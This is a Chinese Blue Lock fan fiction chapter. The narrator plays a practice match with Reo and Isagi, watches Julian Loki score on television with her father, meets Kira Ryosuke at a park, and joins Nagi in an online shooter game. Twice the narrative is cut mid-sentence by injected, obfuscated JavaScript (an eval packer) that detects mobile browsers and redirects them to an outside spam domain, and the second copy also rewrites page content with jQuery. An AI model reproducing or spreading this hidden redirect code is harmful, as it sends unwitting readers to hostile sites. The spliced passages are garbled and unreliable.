到了下午,阳光不再那么毒辣,训练场上洒下一片金辉。分组毫无悬念——玲王自然和我一队,他脸上带着那种“终于能并肩作战”的明亮笑容,紫眸里跃动着期待。洁世一和蜂乐回组成了另一边,洁的眼神认真得像在对待世界杯决赛,蜂乐则蹦蹦跳跳,蜂蜜金的瞳孔里全是跃跃欲试的兴奋。至于凪诚士郎……这位大爷慢吞吞地晃悠到对面球门前,然后就像一尊被遗忘的白色雕像,直接“卸”在了门线前,半眯着眼,仿佛下一秒就能睡着。好吧,他是前锋,守门技术约等于零,但看着他这副模样,我真的觉得和空门没啥区别,指望他扑救不如指望足球自己长出翅膀飞出去。 对面显然不这么想。洁世一和蜂乐回交换了一个眼神,目标明确——他们想试试我父亲这位退役世界第一门将的本事,或者说,珍惜这千载难逢的“陪练”机会。蜂乐回率先开球,皮球轻盈地滚到洁世一脚下。洁没有粘球,迅速将球回敲给蜂乐,自己则立刻前插跑动,寻找接应的空档。玲王反应极快,如同一道紫色闪电贴了上去,紧紧盯防住洁。 蜂乐回拿到球,脸上扬起一个狡黠的笑容。面对我的防守,他甚至没有做太多复杂的假动作,只是左右脚极其流畅地快速拨球,简单的踩单车!他的身体晃动带着一种奇异的韵律和欺骗性,我明明看准了方向,脚步却像被钉住,眼睁睁看着他像一尾灵活的游鱼,轻巧地从我身边抹了过去! “哇哦!反应慢了半拍哦爱酱!”他甚至还有余裕笑着点评一句,带球直扑禁区! 我的心瞬间提到了嗓子眼!幸好,门前的父亲全神贯注,反应快得惊人!他看准蜂乐起脚的瞬间,一个迅捷的侧扑,单掌将那颗力道十足的射门稳稳挡出了底线! “好险!”玲王跑回来,拍了拍胸口,对我露出一个安抚的笑容,“没事!下次重心再压低一点,别轻易吃他假动作!” 轮到我方开球。我深吸一口气,将球传给中圈附近的玲王。他接球后没有急于突破,而是对我使了个眼色,心领神会,我立刻启动向前跑。玲王的传球恰到好处地送到我前进路线上,一个漂亮的二过一!我们默契地甩开了还在回追的蜂乐回! 机会!玲王接到我的回传球,带球杀入禁区,抬脚就要射门!就在这时,一道蓝色的身影如同猎豹般迅猛回防到位——是洁世一!他一个精准干净的滑铲,堪堪将玲王势在必得的射门破坏出了边线! “啧!可惜!”玲王懊恼地挥了下手,但立刻转身对我竖起大拇指,“传得漂亮,爱!” 比赛继续。蜂乐回的盘带简直像一种艺术,灵活得让人抓狂。我拼尽全力,十次里有八次还是被他轻易晃过。即使偶尔玲王协防到位,勉强拦下了他,旁边总会有洁世一不知疲倦地接应、跑位,随时准备策动下一次进攻。父亲的球门承受了不小的压力,高接低挡,时不时还能听到他中气十足的指导和调侃。 然而,就在这一次次的攻防转换中,在汗水几乎模糊视线、小腿沉重得像灌了铅的时候,我发现自己竟然慢慢适应了这种节奏。脚下的球不再那么不听使唤,盘带时也多了一丝底气,虽然依旧稚嫩,但至少不会轻易丢球了。 “哦呀?进步很快嘛,爱酱!”一次成功将球护住传出后,蜂乐回眼睛亮亮地看着我,语气带着真诚的惊讶,但随即又狡黠一笑,“不过~破绽还是很多哦!” 这我当然知道!但被肯定总是开心的。下一次防守,我看着蜂乐再次眼花缭乱地耍着踩单车逼近,一咬牙,看准他拨球的瞬间,猛地下地放铲!虽然动作笨拙得像只企鹅,但时机居然抓对了!脚尖堪堪捅到了他脚下的皮球! 球被铲掉了!蜂乐回一个趔趄,稳住身形,看向我的表情比刚才更加意外,甚至带上了一点欣赏:“哇!连铲球都学会了吗?!” 成功抢断的喜悦还没持续两秒,我就因为用力过猛,脚踝处传来一阵酸麻感,龇牙咧嘴地一时没站起来。 “干得漂亮!爱!”玲王的声音带着毫不掩饰的赞许,他已经飞快地控制住了被我铲出来的球权。 蜂乐回笑着摇摇头,倒是很友好地伸出手把我拉了起来。“没事吧?下次铲球注意收点力,别伤到自己。” 轮到我们进攻。蜂乐回这次主动贴上来防守我。我深吸一口气,回想着他之前无球跑动时那种飘忽的节奏和变向。学着他的样子,我先是一个向前的假动作,然后猛地扣球变向!虽然动作远不如他流畅灵活,甚至有点踉跄,但居然真的晃开了一点点空间!成功了! 蜂乐回显然没料到我会现学现卖来这一手,愣了一下,随即笑开:“可以啊!现学现卖!” 过掉蜂乐,抬眼望去,玲王正在前方被洁世一死死缠住,找不到起脚机会。他看到了我,立刻将球分了过来!我接球,面前是一片短暂的空档,球门就在眼前!而凪……好吧,凪依旧在门线上神游天外。 没有犹豫,支撑脚站稳,摆动腿用力抽出!脑海里闪过父亲、凯撒、内斯的指导,将全部力量贯注于这一脚! 足球划过一道算不上多么刁钻但足够有力的直线,直奔球门右下角! 这一次,没有玲王的飞身封堵,没有洁世一的精准铲断,甚至凪也只是象征性地、慢半拍地伸了伸腿。 球,应声入网! 得分了! 我愣在原地,几乎不敢相信自己的眼睛。 “进了——!!!” 玲王第一个欢呼起来,冲过来用力抱住我,原地转了小半圈,紫眸里盛满了比我还要激动的喜悦,“太棒了!爱!你做到了!完美的射门!” 父亲在门前也用力鼓掌,笑得见牙不见眼:“好球!不愧是我女儿!” 洁世一跑过来,脸上带着运动后的红晕和真诚的笑容:“射得漂亮,清田同学!” 蜂乐回蹦蹦跳跳地过来,拍了下我的肩膀:“哇!爱酱!首开纪录!厉害哦!” 连一直处于待机状态的凪,也慢吞吞地走了过来,没什么表情地盯着我,然后极其轻微地、几乎难以察觉地点了下头,对我竖起一个大拇指,吐出两个字:“厉害。” 夕阳的金辉笼罩着整个训练场,将每个人的身影都拉得很长,汗水在阳光下闪烁。我被包围在朋友们的笑声和祝贺中,看着那颗静静躺在网窝里的足球,胸口被一种巨大的、滚烫的成就感和难以言喻的快乐填满。 足球……原来真的是一件,这么快乐的事情。 *** 当天回家,我扑床上睡了个天昏地暗,连做梦都是在踢足球。 梦里我还在那片绿茵场上奔跑,耳边是玲王带着笑意的指导声和蜂乐活力四射的呼喊。足球在我脚下似乎变得听话了些,但下一秒,画面猛地一转——一个看不清面容、穿着深色球衣的身影如同坦克般冲来,一记凶狠异常的滑铲!我整个人被铲得飞起,失重感猛地攫住心脏! “呜啊!” 我猛地从梦中惊醒,心脏砰砰狂跳,额头上沁出一层薄汗。窗外一片漆黑,只有远处城市的霓虹灯光透过窗帘缝隙,在天花板上投下微弱变幻的光影。房间里安静得能听见自己急促的呼吸声。 “……什么鬼梦。”我揉了揉眼睛,低声嘟囔,那股被铲飞的惊悚感还残留着。摸过床头的手机按亮,屏幕刺眼的光芒让我眯起了眼——凌晨三点二十七分。这一觉睡得可真沉。 饥饿感后知后觉地涌了上来,胃里空落落的,发出轻微的抗议。下午那场消耗巨大的训练,晚餐似乎早就被消化殆尽了。关于梦境的细节如同退潮般迅速淡去,越是用力回想,越是只剩下一片模糊的光影和零碎声响,反而有点头晕脑胀。算了,不过是个梦。 蹑手蹑脚地爬下床,打算去厨房找点吃的垫垫肚子。赤脚踩在冰凉的地板上,我打着哈欠,迷迷糊糊地推开卧室门。 客厅里居然有光?还有极其压抑的、电视里传出的喧哗声——不是电视剧的对白,而是那种熟悉的、球场特有的喧嚣,解说员激动到破音的呐喊,以及……父亲刻意压低的、兴奋的抽气声? 我诧异地望过去。只见父亲大人正独自窝在客厅那张最大的沙发里,身上随意披着那件印着滑稽卡通章鱼的居家服,一头金发在电视屏幕变幻的光线下显得有些凌乱。他眼睛瞪得溜圆,一眨不眨地盯着电视屏幕,手里还无意识地捏着一包开了口的……薯片?看得太过投入,连我开门出来都没察觉。 我下意识抹了把嘴角——还好,睡觉流的口水早就干了。放轻脚步走过去,目光扫过茶几,果然还有好几包不同口味的零食和喝了一半的啤酒。这是……熬夜看球赛? 我悄无声息地抽走他手边那包还没开封的烧烤味薯片,撕开包装袋,窸窸窣窣的声音终于惊动了他。 “唔哦!”父亲猛地回过神,看到是我,松了口气,随即又立刻把食指竖在嘴唇前,做了个“嘘”的手势,蓝眼睛亮得惊人,压低了声音,“小声点小声点!关键时刻!” 他一激动,手里的薯片渣掉了一点在睡裤上也毫不在意。 我顺势在他旁边的地毯上坐下,盘起腿,塞了一片薯片到嘴里,含糊不清地问:“看什么呢这么投入?欧冠?还是西甲?”这个时间点,也就欧洲那边的联赛还在进行。 “法甲。”父亲眼睛依旧没离开屏幕,随口答道,语气里带着一种发现新大陆般的兴奋,“快看快看!这小子!又来了!” 法甲?父亲平时看得最多的明明是英超和西甲,偶尔看看德甲,对法甲的关注一向不多。除非……有什么特别吸引他的东西。 我嚼着薯片,顺着他的目光看向电视屏幕。画面中,身穿深蓝色主场球衣的球员正在组织进攻。队徽看不太清,但那熟悉的蓝红配色和中间的字母缩写……PXG,大巴黎啊。 比赛似乎异常激烈,对方半场人仰马翻。就在一次中场看似混乱的拼抢中,一个身影如同鬼魅般突然杀出! 那是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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整个王子公园球场瞬间沸腾,山呼海啸般的欢呼声几乎要掀翻顶棚! 我被这粒简单粗暴到极致的进球震得忘了咀嚼嘴里的薯片,呆呆地看着屏幕里那个完成射门后,只是酷酷地站在原地,抬起下巴,金色瞳孔睥睨着看台,仿佛做了一件微不足道小事的身影。他甚至没有过多庆祝,只是用力捶了捶自己的胸口,脸上带着一种野性难驯的自信和……一丝若有若无的慵懒? “怎么样?怎么样!”父亲用力拍着我的肩膀,激动得像个孩子,蓝眼睛里全是发现宝藏的光芒,“看到了吗?朱利安·洛基!法甲这赛季最炙手可热的新星!今年才十七岁!我的天!这速度!这爆发力!这射门力量!简直是为足球而生的野兽!” 我这才回过神,咽下嘴里的薯片,下意识地评价:“哦……还挺帅。”主要是那股子混合着野性、力量和少年气的独特气场,以及那双在特写镜头下越发清晰锐利的金色眼眸,像极了某种大型猫科动物,危险又迷人。 “帅?”父亲愣了一下,随即哈哈大笑,用力揉乱我的头发,“你这关注点!不过确实,这小子长得是挺有特点,辨识度极高!这才半个赛季,他已经稳坐主力了!看看这数据!”他指着屏幕下方打出的实时数据,“速度、爆发力、射门力量全是满分!就是技术和传球还有点糙,但瑕不掩瑜!天生的射手!绝对的冲击力!” 父亲滔滔不绝地分析着,显然对这个突然冒出来的天才极为欣赏。画面正好给到朱利安·洛基一个特写镜头,他正和队友简单击掌,汗水顺着他轮廓分明的脸颊滑下,那双金色的瞳孔在球场灯光下熠熠生辉,带着一种未经过度雕琢的、原始而强大的自信。 “之前都没怎么听说过这个名字。”我又拿起一片薯片,看着屏幕上那个如同黑豹般的少年。法甲的球星,我知道的不多,除了那几个早已成名的超级巨星。 “正常!他算是横空出世!”父亲灌了一口啤酒,语气兴奋。 电视里开始回放洛基刚才那个进球的慢动作,每一次肌肉的爆发、每一次触球的力道都清晰可见,充满了一种暴力美学般的震撼。父亲看得啧啧称奇,又开始跟我科普PXG这个赛季的阵容多么豪华,有了洛基之后进攻线多么恐怖…… 我一边听着父亲的激情解说,一边看着屏幕上那个奔跑的黑色闪电,脑海里却不由自主地闪过下午训练时的画面——玲王精准的传球、蜂乐诡异的盘带、洁世一拼命的回防、凪懒洋洋却关键时刻总能出现的射门、还有父亲站在门前那可靠的身影…… 足球的世界,真的好大啊。 有像玲王、凪这样在“蓝色监狱”里为了梦想挣扎奋斗的天才。 有像洁世一那样凭借努力和执着一步步向上的信徒。 有像蜂乐回那样纯粹享受足球快乐的精灵。 也有像屏幕里这个朱利安·洛基一样,仿佛从天而降、凭借绝对天赋震撼世人的野兽。 而我才刚刚,小心翼翼地,用一次笨拙的射门,触碰到了这个广阔世界的边缘。 嘴里的薯片变得没什么味道了。目光重新聚焦在屏幕上,那个叫做朱利安·洛基的少年,正在一次反击中再次利用速度生吃对方后卫,虽然最后的传中球质量不高,被挡出了底线,但他那种蛮不讲理的冲击力,已然成为了球场上的焦点。 “怎么样?看得入迷了?”父亲调侃的声音在旁边响起,他显然注意到了我的走神。 “……还好。”我收回目光,低下头,拍了拍手上的薯片碎屑,“就是觉得……厉害的人真多。” 父亲安静了下来,他放下啤酒罐,扭头看着我。电视屏幕的光在他脸上明明灭灭,那双总是充满活力的蓝眼睛里,此刻沉淀下一些更柔软的东西。他伸出手,揉了揉我的头发,力道比刚才温柔了许多。 “是啊,厉害的人很多。”他的声音也低沉了下来,带着一种过来人的感慨和鼓励,“这个世界从来都不缺天才。但是爱……” 他顿了顿,让我抬起头看他。 “还记得你下午进的那个球吗?”他脸上露出一个温暖的笑容,“对于当时的你来说,那就是一个世界波。快乐和成就感,是不会因为对手是业余还是职业、是普通人还是天才而有高低之分的。” “足球的魅力就在于此。”他重新看向屏幕,画面里洛基正在积极反抢,金色的眼眸里闪烁着永不满足的狩猎光芒,“它足够大,大到可以容纳无数种可能,无数种风格,无数个梦想。你可以欣赏洛基这种速度美学,也可以学习梅西的细腻技巧,可以佩服C罗的自律刻苦,也可以享受和朋友们一起踢野球的快乐。” “所以,”他转回头,对我眨眨眼,“别想那么多。享受你现在拥有的就好。进步是一点点来的,快乐也是一点点积累的。说不定哪天,我们家爱也能踢出让所有人都吓一跳的足球呢?” 我知道他是在安慰我,但心里那点因为看到更高层次比赛而产生的微小落差感,确实被这番话熨帖了不少。是啊,我干嘛要拿自己跟那种怪物级的天才比呢?我现在都突破得勉勉强强…… “嗯。”我点点头,心情轻松了些,重新拿起一片薯片,“知道了老爸,你就别灌鸡汤了。快看你的球赛吧,好像又要发角球了。” “哦对!”父亲的注意力立刻被拉回球场,再次全神贯注起来。 接下来的比赛,PXG完全占据了主动,而朱利安·洛基就是他们最锋利的那把尖刀。他虽然技术确实如父亲所说,有时显得有些粗糙,处理球不够细腻,但那恐怖的速度、爆发力和射门力量,以及那种仿佛与生俱来的门前嗅觉和自信,足以弥补一切。他不知疲倦地奔跑、冲击、尝试射门,一次次考验着对方的防线和门将。 最终,比赛以PXG 3:0 大胜对手结束,洛基梅开二度,当选全场最佳。 看着屏幕上那个被记者团团围住、汗水还未干透、脸上带着些许青涩却又难掩骄傲笑容的少年,看着他那双在闪光灯下依旧亮得惊人的金色眼眸,我心里默默地记下了这个名字—— 朱利安·洛基。 一个像闪电一样快,像野兽一样充满力量的法甲新星。 关掉电视,客厅里重新陷入黑暗与寂静。父亲心满意足地打着哈欠回房睡觉去了。我收拾好茶几上的零食包装袋,也准备回房。 躺回床上,却一时没了睡意。脑海里交替闪过下午训练时玲王他们的笑脸,和刚才屏幕上洛基那暴力冲刺的画面。 足球…… 蓝色监狱…… PXG…… 朱利安·洛基…… 一个个名词在脑海里盘旋。 这个世界,确实比我想象的还要广阔,还要精彩,还要……充满挑战。 翻了个身,抱紧被子,我闭上眼睛。 明天,又是新的一天。 36. 无聊的一天 第二天早上清晨,我接到了内斯的电话。 手机屏幕在床头柜上嗡嗡震动,发出柔和的光,将我从浅眠中彻底唤醒。窗外天色刚蒙蒙亮,房间里还弥漫着破晓时分的宁静。我摸索着抓过手机,屏幕上跳动着“亚历克西斯·内斯”的名字。 “喂,内斯?”我接通电话,声音还带着刚睡醒的沙哑。 “爱!早上好!希望没有吵醒你!”内斯的声音透过听筒传来,依旧充满活力,但比平时多了一丝不易察觉的紧张和正式,“测试赛的具体时间和地点定下来了!下周三下午三点,在慕尼黑安联竞技场旁边的青年队训练基地!” 下周三?这么快?而且是在拜塔的训练基地?这听起来可不像是一场普通的测试赛。 “我会转告给我父母的,”我立刻保证,“他们知道了肯定会为你和凯撒高兴的。”想到父亲那副比当事人还激动的样子,我几乎能预料到他的反应。 “Danke(谢谢)!”内斯的语气明显放松了一些,还夹杂着些许期待,“其实……如果叔叔阿姨能来就最好了,当然,我知道这很突然……”他后面的话音低了下去,带着点不好意思。 “放心,包在我身上。”我再次强调,试图给他多一点信心。我们又简单聊了几句关于天气和训练准备的话,能感觉到内斯那边时间紧迫,背景音里似乎隐约传来教练的催促声。 “那我们……训练场见?”内斯最后说道,语气里充满了对比赛的渴望和一丝紧张。 “嗯,训练场见……虽然我是在电视前或者手机前。”我开了个小小的玩笑。 “哈哈,好吧!到时候我会努力让你看到的!Bye, Ai!”内斯笑着挂断了电话。 放下手机,房间里重新安静下来。今天周日,按照之前的“课程表”,凯撒和内斯因为比赛临近,训练任务肯定会加重,大概没空再进行远程指导了。一股莫名的失落感淡淡地萦绕开来,虽然只是对着轮胎练习,但习惯了那种高强度的、有回馈的“特训”,突然停下反而觉得少了点什么。 起床,刷牙洗脸,换上舒适的运动服。看着镜子里因为晨起而有些迷糊的自己,脑海里却不合时宜地再次闪过昨晚电视屏幕上那个如同黑色闪电般的身影——朱利安·洛基。他那种蛮横的、充满原始力量感的踢法,带着一种截然不同的足球美学,粗暴地撕开了我对“天才”的固有印象。 忽然,一股强烈的渴望涌上心头——好想去欧洲啊。不是暑假时那种跟着父母、走马观花式的“足球研修”,而是真正地去到那些联赛现场,去感受那种山呼海啸的氛围,去看看那些和玲王、凪、洁他们年纪相仿的天才们,在真正的职业赛场上是如何奔跑、对抗、迸发出耀眼火花的。尤其是那个洛基,他究竟是个怎样的球员? 但现实是,我还要上学,厚厚的课本和作业还堆在书桌上。这种不切实际的念头,也只能是想想罢了。八成是没空了。 我推开窗户,清晨微凉的空气带着植物的清新气息涌入房间,令人精神一振。阳光已经跃过远处建筑物的顶端,洒下一片金色的光辉。天气真好。 简单绑了个利落的高马尾,我决定出门晨跑,用汗水驱散脑子里那些纷乱的想法和一点点莫名的焦躁。 刚跑出家门没多远,口袋里的手机就震动了一下。是父亲的回信。 「收到!慕尼黑是吧?没问题!老爸一定准时到场!保证把内斯小子和凯撒的精彩表现都录下来!高清多角度!回来放给你看!」 后面还跟了几个夸张的加油和摄像机的表情符号。 我看着这条信息,几乎能想象出父亲摩拳擦掌、准备大干一场的样子。我哼哼了两声,有些无奈地回了句:「知道啦,记得别光顾着拍,也要认真加油。」 他倒是回得飞快:「那当然!你老爸我可是最专业的球迷兼摄影师!」 收起手机,我将注意力重新放回跑步上。沿着熟悉的街道,穿过逐渐苏醒的社区,呼吸逐渐变得急促,心跳加快,身体也慢慢热了起来。思绪放空,只剩下脚步落在路面上的规律声响和拂过耳边的风声。 不知道跑了多久,等我回过神来时,发现自己已经跑到了离家颇远的一个社区公园附近。这里有一个不大的公共野球场,平时经常有附近的孩子或者业余爱好者来这里踢球。 今天也不例外。远远地就听到孩子们欢快的笑闹声和足球撞击的闷响。 我的脚步不自觉地慢了下来,朝着球场的方向望去。 只见一群年纪不大的孩子正追着一个足球满场飞奔,而在这群小豆丁中间,一个身影显得格外醒目。 那是一个穿着简单白色运动T恤和黑色运动长裤的男高中生。他有着一头如同新雪般纯净的白色短发,在晨光下泛着柔和的光泽。最引人注目的是他右眼角下方那颗小小的、颜色略深的泪痣,为他清俊温和的面容平添了一丝独特的忧郁魅力。此刻,他脸上带着阳光般和煦的笑容,正耐心地陪着那群孩子们踢球,动作轻盈而优雅,每一次触球、传球都显得游刃有余,却又刻意控制着力道,确保孩子们能接到、能参与进去。 他时不时会弯腰对孩子们说着什么,大概是在指导或者鼓励,脸上的笑容温暖又真诚。孩子们显然也很喜欢他,围着他叽叽喳喳,像一群快乐的小麻雀。 我看着那个白发的少年,总觉得他有点眼熟,似乎在哪里见过……听孩子们的声音,好像叫……吉良?似乎是被称为“日本瑰宝”那个人。 他怎么会在这里?还陪着这群小孩子踢野球? 正当我有些出神地看着时,场上的足球被一个孩子踢呲了,滴溜溜地滚到了我的脚边。 一个小女孩气喘吁吁地跑过来捡球,她抬起红扑扑的小脸,眨着大眼睛看了看我,又回头看了看场内的白发少年,忽然奶声奶气地开口问道:“大姐姐,你要不要也一起来玩呀?” “诶?”我愣了一下,下意识地想要拒绝,“我……我就不用了,你们玩吧……”和一群小孩子踢球?感觉有点……怪怪的。 场内的白发少年听到了这边的动静,也抬起头看了过来。他的目光落在我身上,那双温和的眼眸里闪过一丝惊讶,随即化为更加友善的笑意。他对我点了点头,声音清朗悦耳:“没关系,来吧,人多更有趣。” 他的笑容有种莫名的感染力,带着一种纯粹的、鼓励的意味,让人很难拒绝。再加上那个小女孩仰着头,用充满期待的眼神看着我…… 我犹豫了一下,最终还是点了点头:“那……好吧,打扰了。” “太好了!”小女孩欢呼一声,拉着我的手就往场上跑。 于是,我就这样莫名其妙地加入了一场清晨的“野球赛”。没有规则,没有位置,甚至两边队伍的人数都不固定,孩子们嘻嘻哈哈地追着球跑,我和那个叫吉良的少年则更多地扮演着“发球机”和“辅助”的角色,想办法把球传到每个孩子脚下,鼓励他们尝试射门或者过人。 虽然对手是一群小孩子,但疯玩起来竟然也意外的累人。要不停地跑动、接应,还要小心控制力道避免伤到他们。汗水很快就浸湿了后背,但心情却在这种纯粹的、毫无压力的玩耍中变得格外轻松和快乐。 期间,我有几次试着做了个简单的踩单车过人(模仿蜂乐,但形似神不似),居然成功地晃开了两个扑得太猛的小男孩;还有一次接到吉良传来的一个高空球,我下意识地用胸口一垫,卸力,然后不等球落地直接凌空抽射——当然,力量控制得很好,球软绵绵地飞向没人守的球门(其实也没有真正的球门,只是用书包摆了两个门柱)。 “哇!大姐姐好厉害!”孩子们发出惊叹。 吉良凉介也看向我,眼中带着一丝真实的赞赏,他微笑着对我说:“球感很棒啊,动作也很协调,平时经常踢球吗?” 被他这样直白地夸奖,我有点不好意思,摇了摇头:“没有……就是最近刚开始随便练练。” “刚开始就能有这样的基础,很有天赋了。”他真诚地说道,语气里没有丝毫敷衍。 玩了好一会儿,孩子们都累得东倒西歪,嚷嚷着要休息喝水。我和吉良也停了下来,走到场边树荫下。 孩子们围着他,叽叽喳喳地叫着“吉良哥哥”,把自带的水壶递给他,让他帮忙拧开。他耐心地一一照做,脸上始终带着那温柔的笑容。 我看着这一幕,心里那个疑问又冒了出来。他踢球这么厉害,气质又这么好,怎么看都是顶尖的苗子,怎么没有被选进那个号称网罗了全日本最强高中生的“蓝色监狱”呢?难道……他已经跳过这个阶段,直接进入国家队了? 我忍不住好奇,开口问道:“那个……吉良君,请问你是国家队的成员吗?U18?” 听到我的问题,吉良凉介正在帮孩子拧瓶盖的手微微顿了一下。他脸上的笑容似乎凝固了一瞬,随即化开一抹淡淡的、复杂的情绪,那笑容里掺杂了一丝不易察觉的落寞和释然。 他沉默了几秒,才重新抬起头看向我,语气平和却带着一丝难以言喻的沉重:“不是的。我现在……加入不了国家队了。” “诶?”我愣住了,完全没料到会是这个答案。 他微微吸了口气,像是在整理思绪,然后继续用那温和的嗓音解释道:“前些阵子,我参与了一个名叫‘蓝色监狱’的集训计划。那个计划的规则是……失败者,一辈子都不能再进入国家队。” 他的话语很轻,却像一块巨石投入我的心湖,激起惊涛骇浪。 蓝色监狱?!失败者?!一辈子不能进入国家队?!绘心甚八那个蘑菇头,居然定下了这么残酷的规则?! 而吉良凉介……他这样技术出色、气质出众的球员,竟然是被蓝色监狱淘汰的失败者?! 我震惊地看着他,一时之间不知该说什么好。心底涌起一股强烈的惋惜和……一丝荒谬感。这样的球员,只因为一次集训的失败,就被宣判永远无缘国家队?这太不公平了! “对、对不起!我不知道……”我连忙道歉,为自己的唐突感到懊恼。 “没关系,你没有冒犯到我。”吉良连忙摆手,脸上重新露出温和的笑容,仿佛刚才那一瞬间的沉重只是我的错觉,“只是……我觉得有些可惜吧。不是为我自己,而是为那个理念。”他顿了顿,目光投向远处那些休息打闹的孩子们,眼神变得有些深远,“我始终认为,足球是团队协作的运动啊。个人的进化固然重要,但最终的目的,不应该是为了团队胜利吗?蓝色监狱那种极致的利己主义……我到现在还是无法完全认同。” 他的话语里没有怨恨,只有平静的陈述和一丝淡淡的遗憾。 我看着他在晨光中的侧脸,那份温和与坚定奇异地交织在一起。忽然间,我对绘心甚八的那个“蓝色监狱”产生了一丝怀疑。它真的能培养出最强大的前锋吗?以扼杀其他可能性、甚至断送像吉良凉介这样的球员的未来为代价? “失败的代价……不应该这么惨烈的。”我忍不住开口,语气带着我自己都未曾察觉的坚定,“毕竟,足协肯定没有完全认同蓝色监狱集训吧?否则也不会还有U20国家队的存在了。因此,蓝色监狱单方面说出的‘一辈子不能进入国家队’的代价,也不一定完全可信,或许只是为了施加压力?” 我试图劝慰他,不希望他就此放弃:“所以,请不要因此太过伤心难过。你的足球理念没有错,团队协作永远是基石。” 吉良凉介有些惊讶地转过头来看我,他似乎没料到我会说出这样一番话。他静静地看了我几秒,那双漂亮的眼眸里流转着柔和的光彩。随后,他脸上的笑容变得更加真切和开朗了些。 “谢谢你。”他轻声说,“其实我已经看开了。不能进入国家队固然遗憾,但足球的世界很大。我现在的目标就是努力踢球,提升自己,享受足球带来的快乐。然后……”他顿了顿,语气变得更加坚定,“如果可以的话,我也希望能通过自己的方式,让更多人看到,除了极致的利己主义,足球还有其他的可能性和魅力。” 他的话语像清晨的阳光一样,温暖而充满希望。我看着他,忽然觉得,即使没有被蓝色监狱选中,即使背负着“失败者”的名号,眼前的这个少年,依然在用自己的方式热爱着足球,并且闪耀着独特的光芒。 我们又闲聊了几句关于足球的话题,他发现我对足球的理解远比表面看起来要深,显得有些惊讶和欣赏。孩子们休息够了,又开始闹着要踢球。 吉良凉介被孩子们拉走前,犹豫了一下,还是转头看向我,脸上带着温和的、略带歉意的笑容:“那个……抱歉,还不知道你的名字?” “清田爱。”我回答道。 “清田……爱?”他重复了一遍,眼中似乎闪过一丝极其细微的、难以捕捉的讶异,但很快便消散在那片温和的琥珀色中,“很好听的名字。我叫吉良凉介,很高兴认识你。今天谢谢你,陪孩子们玩得很开心。” “我也是,吉良君。”我对他笑了笑。 他对我点了点头,然后重新跑回孩子们中间,那个白发的身影在阳光下,依旧明亮而温暖。 我站在场边,看着他和孩子们追逐足球的身影,心里那份对于欧洲之行的渴望似乎淡去了一些。足球的世界确实很大,有洛基那样的野兽派天才,有蓝色监狱里的残酷竞争,但也有像吉良凉介这样,在另一个角落里,依然坚持着自己对足球的理解和热爱的球员。 晨风吹过,带来一丝凉爽。我深吸一口气,转身踏上了回家的路。 *** 我把剩下的作业写完,躺在床上放空自己,满脑子都是胡思乱想。阳光透过窗帘缝隙在地板上投下斑驳的光斑,灰尘在光柱里缓慢浮动。我盯着天花板,思绪却飘到了奇怪的地方——想象自己是一条躺在马路正中央碰瓷的鱼。那个法甲的朱利安·洛基跑得那么快,要是遇上我这条碰瓷的鱼,他是会敏捷地避开,还是一脚踩上来?以他那种蛮横的冲击力,恐怕会直接把鱼踩成鱼饼吧。那凪呢?要是他遇上碰瓷的人,是会嫌麻烦直接一起躺下,还是根本懒得理会,慢吞吞地从旁边绕过去? 我把头埋进柔软的枕头里,感觉无聊像潮水一样淹没过来。训练后的肌肉酸痛还在隐隐作祟,但大脑却异常清醒,各种荒诞的念头层出不穷。就在我几乎要被自己的无聊想象逗笑时,手机屏幕突然亮了起来。 是凪诚士郎的消息。一个简单的游戏下载链接,什么解释都没有。 「?」我回了个问号过去。 那边隔了几秒,才慢悠悠地回复:「陪我玩。」 言简意赅,符合他一贯的风格。甚至连个“请”字或者表情符号都懒得加。 好吧。正好碰上我无聊得快长草的时候。宠你一回。 「行吧。」我回复道,然后点开了那个链接。 游戏下载得很快,图标是一个很常见的枪械剪影。这貌似是个枪战游戏?我对游戏并不熟悉,唯一算得上“擅长”的游戏,大概还是小时候被玲王硬拉着下的国际象棋。虽然十局里我能输掉九局,唯一赢的那局还是因为玲王故意让着我,看我快哭了才放的水。不知道玲王现在在蓝色监狱里,还有没有时间下棋。 刚注册好账号,凪诚士郎的语音通话请求就弹了出来。我戴上耳机,按了接听。 “喂?” “……嗯。”他的声音透过耳机传来,带着点轻微的电流声,依旧是那副没什么精神的调子,“注册好了?” “嗯,然后呢?” “ID发我。我拉你。”他顿了顿,似乎是在操作,“进去之后跟着我。别乱跑。” 我把自己那串随机生成的、十分拗口的ID发给他。很快,游戏界面弹出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251836|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个组队邀请。接受之后,屏幕上出现了一个穿着初始服装的女性角色,旁边则是一个一身黑衣、连脸都遮得严严实实的男性角色,ID是一串简单的英文“Nagi”,头上顶着一个鲜明的队长标志。 “能听到吗?”凪的声音再次响起。 “可以。” “嗯。跳伞的时候跟我一起。”他言简意赅地指导着,“落地之后,尽量先找枪和护甲。看到不认识的东西……嗯,尽量别乱捡。” 听起来好像很复杂的样子。我深吸一口气,感觉比自己第一次站上训练场还要紧张。 游戏开始了。乘坐飞机,跳伞,降落。整个过程我都手忙脚乱,视角晃得我有点头晕。好不容易歪歪扭扭地跟着凪落在一个像是小镇的地方,一落地,我就按照他说的,赶紧钻进旁边的房子开始搜寻。 结果我的运气似乎差到了极点。连续搜了好几栋房子,不是找到一堆没用的子弹,就是捡到几个平底锅和绷带,连把手枪的影子都没看到。听着耳机里远处传来的噼里啪啦的枪声,我紧张得手心都有些冒汗。 “凪……我还没找到枪……”我小声说道,感觉自己像个拖后腿的笨蛋。 “……嗯。看到了。”他的声音依旧平淡,似乎早就料到了,“来我这边。二楼。” 